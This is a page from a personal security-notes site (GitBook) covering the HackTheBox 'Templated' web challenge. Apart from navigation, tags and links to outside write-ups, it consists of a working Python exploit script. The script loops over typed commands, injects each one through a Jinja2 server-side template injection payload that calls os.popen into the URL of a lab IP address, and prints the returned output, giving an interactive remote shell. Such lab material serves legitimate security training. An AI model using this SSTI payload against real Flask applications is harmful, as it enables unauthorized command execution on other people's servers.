fg0x0's notes
Ctrlk
  • ๐Ÿ‘€Introduction
    • ๐Ÿดโ€โ˜ ๏ธAbout me
  • ๐Ÿ‘พoffensive-security
    • ๐ŸฒOSCP
    • โ›“๏ธOSEP
    • ๐Ÿ•ธ๏ธOSWE
    • ๐ŸŒŒPG-Practice
  • ๐ŸšฉRed Team
    • โ˜ข๏ธActive Directory Exploitation
    • ๐Ÿ‘ฟRed Teaming Zero to Hero
    • ๐Ÿ‘ฟRed Teaming All The Things
    • ๐Ÿ•ธ๏ธWeb Exploitation
    • ๐Ÿ’€Binary Exploitation
    • โ˜ ๏ธExploit Development
  • ๐Ÿณ๏ธBlue Team
    • ๐Ÿ”Digital Forensics
    • ๐Ÿ”Cryptography & Math
    • โชReverse Engineering
  • ๐Ÿดโ€โ˜ ๏ธctf
    • ๐Ÿ‡Haruul Zangi
    • ๐Ÿดโ€โ˜ ๏ธOther CTF
  • ๐ŸงŠHackTheBox
    • ๐ŸชŸWindows Machine
    • ๐ŸงLinux Machine
    • โ˜ ๏ธOther Platform Machines
    • Web Exploitation
      • ๐Ÿ‘ฝFlask SSTI
        • Templated
        • baby interdimensional internet
        • ๐Ÿ‘ฝbaby todo or not todo
        • Slippy ( Jinja2 )
      • Injection
      • ๐Ÿ’ฅPrototype Pollution
      • ๐Ÿ˜ตโ€๐Ÿ’ซinsecure deserialization
      • XSS
      • ๐Ÿ‘พSymfony
      • ๐Ÿ‘ฅXXE
      • Ping submit hiideg
      • RCE
      • LFI
      • File Upload
      • URL submit hiideg
      • Invoice ilgeedeg
      • HTTP2 smuggling
    • Forensics
  • ๐Ÿ’€Synack Red Team
Powered by GitBook
On this page
  1. ๐ŸงŠHackTheBox
  2. Web Exploitation
  3. ๐Ÿ‘ฝFlask SSTI

Templated

flask, RCE, XSS, Jinja2

LogoTemplatedโ€Šโ€”โ€ŠHack The Box Technical Write-upMedium
LogoHTB Writeupโ€Šโ€”โ€ŠTemplatedMedium

exploit script

PreviousFlask SSTINextbaby interdimensional internet

Last updated 1 year ago

import requests
import re

url = "http://178.128.45.143:32008/"

while True:
    cmd = input(" $ ")
    r = requests.get(url + "{{request.application.__globals__.__builtins__.__import__('os').popen('" + cmd + "').read()}}")
    text = r.text
    output = re.findall("<str>(.*?)</str>", text, re.DOTALL)
    if (len(output) > 0):
        print(output[0])